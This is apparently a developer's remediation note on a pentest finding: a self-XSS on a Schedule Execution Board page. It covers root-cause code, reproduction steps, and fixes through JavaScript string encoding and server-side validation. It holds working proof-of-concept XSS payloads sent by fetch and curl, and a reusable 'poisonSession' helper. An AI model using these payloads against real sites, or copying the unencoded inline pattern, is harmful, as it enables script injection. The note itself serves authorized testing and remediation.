Files
vault/Career/Microlise/Session Stored XSS PENTEST.md
Zaine 129ce1442b
Some checks failed
Build Quartz Notes / build (push) Failing after 20s
13
2026-07-13 09:16:09 +01:00

554 lines
22 KiB
Markdown
Executable File
Raw Permalink Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
---
note type:
- note
- microlise
- security
date: 2026-06-03
done: true
---
# Links:
- [[Cross Site Scripting (XSS)]]
# Metadata
- Name
Understanding Session XSS
- Overview
Pages 3334 document an informational “Session stored XSS” finding on the TMC Schedule Execution Board. The issue is real (unescaped user input in a JavaScript context) but impact is limited because only the submitting users session is affected—classic self-XSS, not cross-user attack.
## Todos
- \[X\] review-finding
Read pages 3334 and map finding to SaveSearchCriteriaToSession + ScheduleExecutionBoard.aspx flow
- \[X\] locate-source
Open TMC Web Portal repo and find session save + inline script render for date/orderID/time
- \[ \] remediate-encode
Apply HttpUtility.JavaScriptStringEncode to all session values in SetupControls() (\~1849-1879)
- \[ \] remediate-validate
Add server-side validation in SaveSearchCriteriaToSession before writing SEBSessionState
- \[ \] remediate-retest
Retest with direct POST payload + normal UI search flow on ScheduleExecutionBoard
# Understanding the Session Stored XSS Finding (Pages 3334)
## Where this sits in the report
The [Microlise TMC PO WA April 2026 v1.0.pdf](d:/_dev/_misc/Pentest-04-26/Microlise%20TMC%20PO%20WA%20April%202026%20v1.0.pdf) lists **14 findings** total. Pages 3334 ([33-34.pdf](d:/_dev/_misc/Pentest-04-26/33-34.pdf)) are the last technical finding before “END OF DOCUMENT”:
| Field | Value |
| ----------- | ------------------------------------------------------------------------------------------- |
| Title | **Session stored XSS** |
| Severity | **Informational** (lowest tier; 4 informational findings in the report) |
| Status | Open |
| CWE | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) — Improper Neutralization of Input |
| Environment | `cert.microlise.com` (cert/UAT), path prefix `/PENTEST/TMCWebPortal/` |
Higher-severity items in the same report (SQLi, IDOR, BFLA, etc.) are separate; this finding is documented as **technically valid but low business risk**.
-----
## What XSS is (general)
**Cross-Site Scripting (XSS)** means untrusted data ends up in a web page in a way the **browser treats as executable JavaScript**, instead of inert text.
The name “cross-site” is historical: classic attacks trick a **victim** into loading a page on **your** app so script runs in **your** origin (stealing session cookies, performing actions as the user, etc.).
Common types:
| Type | Persistence | Typical delivery |
| ------------- | ------------------------------------- | -------------------------------- |
| **Reflected** | Not stored; one-off response | Malicious link/query param |
| **Stored** | Saved server-side (DB, file, session) | Victim loads a normal page later |
| **DOM-based** | Client-side only | Unsafe innerHTML, eval, etc. |
**Defense in depth:** validate input on the server (whitelist formats), and **encode output** for the exact context (HTML, attribute, JavaScript string, URL).
-----
## What happened in *this* finding (TMC context)
### Affected surface (source located)
| Role | Path |
| --------------------------- | ---------------------------------------------------------------------------------------------------------- |
| Page + inline JS | [ScheduleExecutionBoard.aspx](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx) |
| WebMethod + page properties | [ScheduleExecutionBoard.aspx.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs) |
| Session storage | [SEBSessionState.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/SEBSessionState.cs) |
- **Endpoint:** ASP.NET `[WebMethod]` `SaveSearchCriteriaToSession` on `ScheduleExecutionBoard.aspx`
- **Parameters:** JSON fields `date`, `orderID`, `time` (also `searchID`, `hours`, `quickSearch` in the same flow)
- **Host (pentest):** `cert.microlise.com`, path `/PENTEST/TMCWebPortal/SEB/...`
### Attack flow (as tested)
``` mermaid
flowchart LR
subgraph submit [Step1_Submit]
A[Tester sends POST directly]
B[SaveSearchCriteriaToSession]
C[Values stored in server session]
end
subgraph render [Step2_Render]
D[User loads ScheduleExecutionBoard.aspx]
E[Server embeds session values in script block]
F[Browser executes unescaped JS]
end
A --> B --> C
C --> D --> E --> F
```
1. **Save:** User (or tester) POSTs JSON to `SaveSearchCriteriaToSession`. The app saves search criteria into the **server-side session**.
2. **Render:** On the next load of `ScheduleExecutionBoard.aspx`, those values are written into the HTML **inside a `<script>` block**, as JavaScript string literals.
3. **Bug:** Values are inserted **without JavaScript string encoding**. A crafted `date` can **break out of the string** and run arbitrary JS.
4. **Proof:** Pentesters confirmed execution in the browser; screenshots in the PDF show the POST and page source.
### Code path (matches report exactly)
**1. Save — no server-side validation**
``` csharp
// ScheduleExecutionBoard.aspx.cs lines 336-348
[WebMethod]
public static void SaveSearchCriteriaToSession(string searchID, string orderID, string date, string time, int hours, bool displayPriorityJourneys, string quickSearch)
{
var sebState = new SEBSessionState();
sebState.ComplexSearch = searchID;
sebState.OrderBy = orderID;
sebState.SearchDate = date;
sebState.SearchTime = time;
// ...
}
```
**2. Persist — per-user ASP.NET session**
[SEBSessionState.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/SEBSessionState.cs) stores values under keys `dateID`, `timeID`, `orderByID`.
**3. Load — on next full page GET**
``` csharp
// ScheduleExecutionBoard.aspx.cs lines 267-277
private void SetupControls()
{
var sebState = new SEBSessionState();
SessionOrderID = sebState.OrderBy;
SessionDate = sebState.SearchDate;
SessionTime = sebState.SearchTime;
// ...
}
```
**4. Render — vulnerable inline JavaScript (root cause)**
``` javascript
// ScheduleExecutionBoard.aspx lines 1853-1875
if ("<%=SessionDate%>") {
$('#txtStart').val("<%= SessionDate %>");
}
if ("<%=SessionTime%>") {
$('#inputtime').val("<%=SessionTime%>");
}
if ("<%=SessionOrderID%>") {
$(orderBySelector + ' option[value="<%=SessionOrderID%>"]').attr('selected', 'selected');
}
```
Example payload in session: `"); alert(document.domain); //`
``` javascript
$('#txtStart').val(""); alert(document.domain); //");
```
**Related:** `QuickSearch` at line \~1879 — fix in the same pass.
### Why “stored”, “session”, and “self-XSS”
- **Stored:** Payload survives page navigation in **session state**.
- **Self-XSS:** Only the submitters session is affected; no normal cross-user path.
- Severity **Informational** because threat model is weak vs shared stored XSS.
### Client vs server validation gap
Pentesters bypassed browser validation via direct POST. No server-side validation blocked arbitrary strings.
-----
## Replicating the vulnerability (hands-on)
Use this section to **see the bug work** on an authorized environment (e.g. cert/UAT), then **repeat the same steps after fixes** and compare outcomes.
### Prerequisites
| Requirement | Detail |
| ----------------- | -------------------------------------------------------------------- |
| **Authorization** | Pentest scope or internal security test policy only |
| **Permission** | `Microlise:TMC:SEB:Read` |
| **URL** | e.g. `https://<host>/TMCWebPortal/SEB/ScheduleExecutionBoard.aspx` |
| **Tools** | Browser + DevTools or Burp Suite |
| **Build** | Before-fix build first; redeploy with remediation for after-fix runs |
Must be logged in (valid session cookie on POST).
### What you should observe (before fix)
``` mermaid
sequenceDiagram
participant You as Tester_browser
participant API as SaveSearchCriteriaToSession
participant Sess as ASP.NET_session
participant Page as ScheduleExecutionBoard_GET
You->>API: POST JSON with malicious date
API->>Sess: Store raw date in session
You->>Page: Reload SEB page
Page->>You: HTML with unescaped date inside script
You->>You: alert or other JS runs
```
1. WebMethod returns HTTP 200.
2. Payload never went through `DateValidation()`.
3. Full page reload → JS runs (e.g. `alert`).
4. View Source: payload inside double-quoted JS string, unescaped.
**Self-XSS:** only your session is poisoned.
### Step-by-step reproduction
**Step 1 — Baseline (optional)**
1. Open SEB, perform a search.
2. DevTools → Network → `SaveSearchCriteriaToSession`.
3. Note POST, `application/json`, body shape, Cookie header.
**Step 2 — Inject via direct POST (bypass UI)**
| Parameter | Suggested test value |
| ------------------------- | ------------------------------- |
| `searchID` | `0.X` |
| `orderID` | `0.X` |
| `date` | `"); alert(document.domain);//` |
| `time` | `00:00` |
| `hours` | `24` |
| `displayPriorityJourneys` | `false` |
| `quickSearch` | `""` |
**Burp:** Repeater → replace JSON body → send.
**Browser console** (on SEB page, same origin):
``` javascript
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json; charset=utf-8' },
body: JSON.stringify({
searchID: '0.X',
orderID: '0.X',
date: '"); alert(document.domain);//',
time: '00:00',
hours: 24,
displayPriorityJourneys: false,
quickSearch: ''
})
}).then(r => console.log('status', r.status));
```
**curl** (replace host, path, cookies):
``` bash
curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://<host>/<TMCWebPortal>/SEB/ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Cookie: <paste-session-cookies>" \
-d "{\"searchID\":\"0.X\",\"orderID\":\"0.X\",\"date\":\"\\\"); alert(document.domain);//\",\"time\":\"00:00\",\"hours\":24,\"displayPriorityJourneys\":false,\"quickSearch\":\"\"}"
```
**Step 3 — Trigger render (stored XSS)**
1. Full navigation reload of `ScheduleExecutionBoard.aspx` (F5).
2. `SetupControls()` embeds session `date` (\~lines 18541855).
**Step 4 — Confirm**
| Check | Before fix (expected) |
| ----------------- | --------------------------------------------------------------------- |
| Popup / console | `alert(document.domain)` runs |
| View Source | Literal `"); alert(...)` inside `$('#txtStart').val("...")` unescaped |
| Network on reload | Normal GET only; XSS from inline script |
| Other users | No effect (different session) |
**Step 5 — Optional:** malicious `time` or `orderID`.
**Step 6 — Clean up:** log out/in or POST valid date/time.
### Comparison matrix (before vs after fixes)
Run the same Steps 24 after each change:
| Observation | Before fix | After encoding only | After validation only | After both |
| -------------------------------- | ---------- | ------------------- | --------------------- | ------------- |
| POST malicious `date` accepted? | Yes (200) | Yes (200) | No / not stored | No |
| `alert` on reload? | **Yes** | **No** | Depends\* | **No** |
| Executable JS in View Source? | **Yes** | **No** (escaped) | Depends\* | **No** |
| `#txtStart` shows attack text? | Maybe | Escaped/safe | Default/empty | Default/empty |
| Normal UI search + reload works? | Yes | Yes | Yes | Yes |
\*If only validation: reload may show no XSS without encoding — still apply both fixes.
### Why UI-only testing misses the bug
| Path | `DateValidation()` runs? | Payload reaches session? |
| -------------------------- | ------------------------ | ------------------------ |
| Click Search in UI | Yes | No (normal typing) |
| Direct POST / Burp / fetch | **No** | **Yes** |
Reproduction **must** use direct POST to match the pentest.
### Evidence to capture (for fix sign-off)
1. Request (POST body with payload).
2. Screenshot of alert (before) or no alert (after).
3. View Source snippet around `$('#txtStart').val(`.
4. Regression: legitimate date, reload, criteria restored.
### Safety and scope
- No production without approval.
- Prefer `alert(document.domain)` over exfiltration demos.
- Self-XSS: coding defect demo, not mass compromise.
-----
## How to fix it
Use **two layers**: output encoding + server-side validation.
### Fix 1 — Output encoding (required)
File: [ScheduleExecutionBoard.aspx](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx), `SetupControls()` (\~18471884).
| Line (approx) | Field | Encode |
| ------------- | --------------- | ------ |
| 18491850 | SessionSearchID | Yes |
| 18541855 | SessionDate | Yes |
| 18601861 | SessionTime | Yes |
| 18721874 | SessionOrderID | Yes |
| 18781879 | QuickSearch | Yes |
**Before:**
``` javascript
$('#txtStart').val("<%= SessionDate %>");
```
**After:**
``` javascript
$('#txtStart').val("<%= HttpUtility.JavaScriptStringEncode(SessionDate ?? string.Empty) %>");
```
Encode `if` guards too, or use code-behind booleans (`HasSessionDate`).
### Fix 2 — Server-side input validation
File: [ScheduleExecutionBoard.aspx.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs), `SaveSearchCriteriaToSession` (\~337).
| Parameter | Validation rule |
| ---------- | --------------------------------------- |
| `date` | Same regex as client `DateValidation()` |
| `time` | `^[0-2][0-9]:[0-5][0-9]$` |
| `orderID` | `^[0-9]+(\.X)?$` |
| `searchID` | Same as `orderID` |
| `hours` | Clamp 1999 |
``` csharp
[WebMethod]
public static void SaveSearchCriteriaToSession(...)
{
if (!IsValidSebDate(date) || !IsValidSebTime(time)
|| !IsValidQueryComponentId(orderID) || !IsValidQueryComponentId(searchID))
{
return;
}
var sebState = new SEBSessionState();
// ...
}
```
**Date regex:**
^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$
#### Explanation of regex:
##### `SebDateRegex`
`^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$`
Overall shape: `YYYY-MM-DD` only — four digits, hyphen, month/day with structure checks.
|Part|Meaning|
|---|---|
|`^` / `$`|Whole string must match (no extra characters).|
|`[0-9]{4}-`|Four-digit year, then `-`.|
|31-day months|`(0[13578]\|(10\|12))-(0[1-9]\|[1-2][0-9]\|3[0-1])` — Jan, Mar, May, Jul, Aug, Oct, Dec: day `01``31`.|
|February|`02-(0[1-9]\|[1-2][0-9])` — day `01``29` (no Feb 30/31).|
|30-day months|`(0[469]\|11)-(0[1-9]\|[1-2][0-9]\|30)` — Apr, Jun, Sep, Nov: day `01``30`.|
Matches: `2026-05-27`, `2024-02-29`, `2024-04-30`
Rejects: `2026-13-01`, `not-a-date`, `"); alert(1);//`, empty/null
Note: This is format validation, not a full calendar check. It does not prove the date exists (e.g. `2025-02-30` can match the February branch). That matches the existing client `DateValidation()` in `ScheduleExecutionBoard.aspx` (line 4050).
#####  `SebTimeRegex`
`^[0-2][0-9]:[0-5][0-9]$`
Overall shape: two digits, `:`, two digits — same idea as `HH:mm` in the UI.
|Part|Meaning|
|---|---|
|`[0-2][0-9]`|First hour digit 02, second 09 → allows `00``29` (looser than strict 0023).|
|`:`|Literal colon.|
|`[0-5][0-9]`|Minutes `00``59`.|
Matches: `00:00`, `12:30`, `23:59`
Rejects: `25:99`, `9:00` (needs two hour digits), `"); alert(1);//`
Note: Values like `29:00` match the pattern but are not real clock times; the pentest/UI convention is this simple pattern, not full time-of-day logic.
#####  `QueryComponentIdRegex`
`^[0-9]+(\.X)?$`
Overall shape: one or more digits, optionally followed by `.X` — the values SEB puts on search/order-by dropdowns.
|Part|Meaning|
|---|---|
|`^` / `$`|Whole string only.|
|`[0-9]+`|One or more digits (e.g. `0`, `123`).|
|`(\.X)?`|Optional literal `.X` (shared / external query suffix in combo markup).|
Matches: `0`, `0.X`, `123`, `123.X`
Rejects: `abc`, `0.XY`, `"); alert(1);//`, empty/null
This aligns with how items are built in `BuildSearchForComboBoxItems` / `BuildOrderByComboBoxItems` (e.g. `"0.X"` for “all journeys” / unspecified order-by).
### Fix 3 — What not to do
- Do not rely on client `DateValidation()` alone.
- Do not use `HtmlEncode` in JS string literals.
- Do not use `innerHTML`; keep `.val()`.
### Fix 4 — Verification / test plan
Master procedure: **Replicating the vulnerability** section above.
**Negative test:**
``` json
{
"searchID": "0.X",
"orderID": "0.X",
"date": "\"); alert(1);//",
"time": "00:00",
"hours": 24,
"displayPriorityJourneys": false,
"quickSearch": ""
}
```
**Pass:** No alert; escaped in source; invalid date not stored (with Fix 2).
**Positive test:** UI search + reload restores criteria.
### Files to change (summary)
| File | Change |
| ---------------------------------------------------------------------------------------------------------- | --------------------------------------------- |
| [ScheduleExecutionBoard.aspx](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx) | `JavaScriptStringEncode` in `SetupControls()` |
| [ScheduleExecutionBoard.aspx.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs) | Validation in `SaveSearchCriteriaToSession` |
**References:** [OWASP XSS](https://owasp.org/www-community/attacks/xss/), [PortSwigger Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored), [JavaScriptStringEncode](https://learn.microsoft.com/en-us/dotnet/api/system.web.httputility.javascriptstringencode)
-----
## Mental model: severity vs correctness
| Question | Answer |
| -------------------------- | ----------------------------------- |
| Real coding flaw? | **Yes** (CWE-79) |
| Cross-user session hijack? | **Not under normal use** (self-XSS) |
| Should it still be fixed? | **Yes**, as hygiene |
| Priority vs SQLi / IDOR? | **Much lower** (informational) |
## Code snippets
### Reset:
```
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json; charset=utf-8' },
  body: JSON.stringify({
    searchID: '0.X', orderID: '0.X',
    date: '2026-05-27', time: '00:00', hours: 24,
    displayPriorityJourneys: false, quickSearch: ''
  })
}).then(() => location.reload());
```
### Alert
```
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json; charset=utf-8' },
  body: JSON.stringify({
    searchID: '0.X',
    orderID: '0.X',
    date: '"+alert(1)+"',
    time: '00:00',
    hours: 24,
    displayPriorityJourneys: false,
    quickSearch: ''
  })
}).then(r => console.log(r.status, r.statusText));
```
### Poison Session
```
function poisonSession(field, payload) {
  const body = {
    searchID: '0.X',
    orderID: '0.X',
    date: '2026-05-27',
    time: '00:00',
    hours: 24,
    displayPriorityJourneys: false,
    quickSearch: ''
  };
  body[field] = payload;
  return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json; charset=utf-8' },
    body: JSON.stringify(body)
  }).then(r => console.log(field, r.status, r.statusText));
}
```
### Confirm / prompt (alternative dialog evidence)
```
poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"');
```
### Visible banner
```
poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","<div style=\\"position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\">XSS PoC — arbitrary script executed in SEB context</div>")+"');
```